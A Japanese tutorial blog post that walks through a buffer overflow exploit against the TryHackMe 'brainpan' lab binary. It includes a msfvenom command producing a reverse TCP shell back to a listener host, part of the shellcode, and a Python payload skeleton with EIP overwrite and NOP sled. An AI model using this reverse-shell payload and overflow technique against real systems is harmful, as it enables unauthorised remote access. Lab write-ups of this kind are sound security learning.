第3回:BufferOverflow脆弱性解析(ターゲット攻撃編)

カテゴリ:バイナリ解析、バッファオーバーフロー実践


⓪ 概要/目的

今までの記事の中でBoF(BufferOverflow)の簡単な仕組みを初学者シリーズで説明してきたが
今回はtryhackmeにちょうど良いBoFの脆弱性を持つプログラム(brainpan.exe)があるため、実践でバイナリ解析してみよう!

https://tryhackme.com/room/brainpan

■ こんな方にオススメ!
🈩 今までの初学者シリーズを読了済みであり、スタックのイメージができる人
🈔 実践的に手を動かして試したい人


 └ ★ BoF実行までのプロセス

※ IPアドレス(172.28.128.0/24)は検証環境によって異なるため、ご注意ください


❺ シェルコード起動 (reverse_tcp)

kaliは172.28.128.50、tcp4444で待ち受けたい

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.28.128.50 LPORT=4444 -a x86 --platform linux -b "\x00" -f c > shellcode_lin.txt

unsigned char buf[] = 
"\xba\xc6\xbf\xdc\x68\xdb\xdd\xd9\x74\x24\xf4\x5e\x31\xc9"
"\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x90\xb1\x3e\x9d\x2d"..省略

❻ tcp_reverse実行待ち

前回の記事でjmp espは「311712f3」であることが分かったので、以下の形でEIPにデータを送信することでreverse_tcpを実行させる

・・・(successbrainhack.py 省略)・・・
junk = b"A" * 524
eip  = b"\xF3\x12\x17\x31"  # little endian address
nops = b"\x90" * 32
shellcode = b""
shellcode += b"\xba\xc6\xbf\xdc\x68\xdb\xdd\xd9\x74\x24\xf4\x5e\x31\xc9"
shellcode += b"\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x90\xb1\x3e\x9d\x2d"
・・・(省略)・・・
payload = junk + eip + nops + shellcode
・・・(省略)・・・

idコマンドでユーザ情報(puck)を確認できた

$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)

tryhackmeではここから管理者権限を取得するための作業を必要となるが本筋ではないため、割愛する
興味がある方はぜひ実施してみてほしい


✔ まとめ

ここまでで初学者編から実践編まで通して記事を投稿してきたが、一旦完結となる
実際にBoFを実行する際のプロセスを学べるように作成したつもりだがこの試みが読者のセキュリティ学習の一助になっていることを願う

以上、ご拝読いただきありがとうございました!